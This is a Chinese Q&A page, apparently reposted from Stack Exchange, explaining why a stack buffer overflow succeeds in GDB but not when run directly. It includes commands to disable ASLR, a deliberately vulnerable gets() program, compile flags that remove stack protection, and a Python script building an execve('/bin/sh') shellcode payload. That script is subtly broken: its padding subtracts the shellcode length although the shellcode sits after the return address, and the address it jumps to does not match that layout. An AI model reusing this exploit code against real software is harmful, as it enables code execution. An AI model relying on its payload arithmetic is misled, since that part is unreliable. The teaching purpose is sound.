You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

Buffer溢出在GDB中生效但直接运行不生效(扩展版)

解决Buffer溢出在GDB中生效但直接通过文件重定向输入失效的问题

我之前也碰到过一模一样的问题——在GDB里调试时溢出触发完美,直接用./buf < attack.txt运行就毫无反应,折腾了好一阵才搞清楚根源。下面我结合你提到的经典教学C程序,一步步拆解问题和解决办法:

核心原因分析

GDB调试环境和直接运行程序的差异,主要集中在这三点:

  • ASLR(地址空间布局随机化)状态不同:多数系统中,GDB启动程序时会自动禁用ASLR,栈地址固定;但直接运行程序时ASLR默认开启,栈地址每次都会变化,导致payload里的返回地址失效。
  • 环境变量差异:GDB会给程序附加额外的环境变量(比如GDB自身的调试相关变量),这会让程序的栈起始地址和直接运行时不一样,你在GDB里算好的偏移量到了真实环境就不准了。
  • 输入处理的细微差别:如果程序用gets()、scanf("%s")这类函数读取输入,文件重定向时的换行符、文本编码转换可能会悄悄修改payload的二进制内容,导致溢出失败。

分步解决办法

1. 先临时关闭ASLR(测试阶段用)

首先先排除地址随机化的干扰,临时关闭ASLR:

sudo sysctl -w kernel.randomize_va_space=0

这个设置是临时的,重启系统后会恢复默认。如果是长期测试,也可以修改/etc/sysctl.conf文件添加kernel.randomize_va_space=0,然后执行sudo sysctl -p生效。

2. 重新计算真实环境下的栈偏移和返回地址

你在GDB里算的偏移量和地址,到直接运行环境里可能完全没用,得重新获取:

  • 先修改你的测试程序,打印buff的地址(方便后续计算):
    #include<stdio.h>
    #include<string.h>
    int main() {
        char buff[500];
        printf("buff address: %p\n", buff); // 新增打印栈地址的代码
        gets(buff); // 假设原程序用gets读取输入
        return 0;
    }
    
  • 编译时关闭栈保护和开启栈执行权限(教学场景必备):
    gcc -fno-stack-protector -z execstack -o buf buf.c
    
  • 直接运行编译后的程序,记录下输出的buff地址(比如0xffffd8a0)。

3. 生成适配直接运行环境的payload

生成payload时要注意以下几点:

  • 用二进制模式写入文件,避免文本编辑器自动转换换行符或截断null字节;
  • 确保shellcode是null-free的(如果用strcpy、gets这类函数,\x00会截断输入);
  • 用真实环境下的buff地址计算返回地址(比如要跳到shellcode的位置,一般选buff地址 + 100左右,避免被填充数据覆盖)。

举个Python生成payload的例子(32位系统):

import struct

# 无null字节的execve("/bin/sh") shellcode(32位)
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# 计算填充长度:buff大小(500) + ebp大小(4) - shellcode长度,剩下的用A填充
padding_length = 504 - len(shellcode)
padding = b"A" * padding_length

# 替换成你刚才获取的buff地址 + 合适偏移(比如+100)
ret_addr = struct.pack("<I", 0xffffd8a0 + 100)

# 组装payload:填充数据 + 返回地址 + shellcode
payload = padding + ret_addr + shellcode

# 二进制模式写入attack.txt
with open("attack.txt", "wb") as f:
    f.write(payload)

4. 测试运行

现在直接用文件重定向运行程序,应该就能触发溢出了:

./buf < attack.txt

进阶:不关闭ASLR的解决方案

如果不想关闭ASLR(更贴近真实环境),可以用Ret2Libc或者**ROP(返回导向编程)**技术,利用libc库中的函数地址来绕过随机化。不过这个对初学者来说稍复杂,等你掌握基础溢出后再深入研究也不迟。

内容的提问来源于stack exchange,提问作者Panda

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.22 09:23:55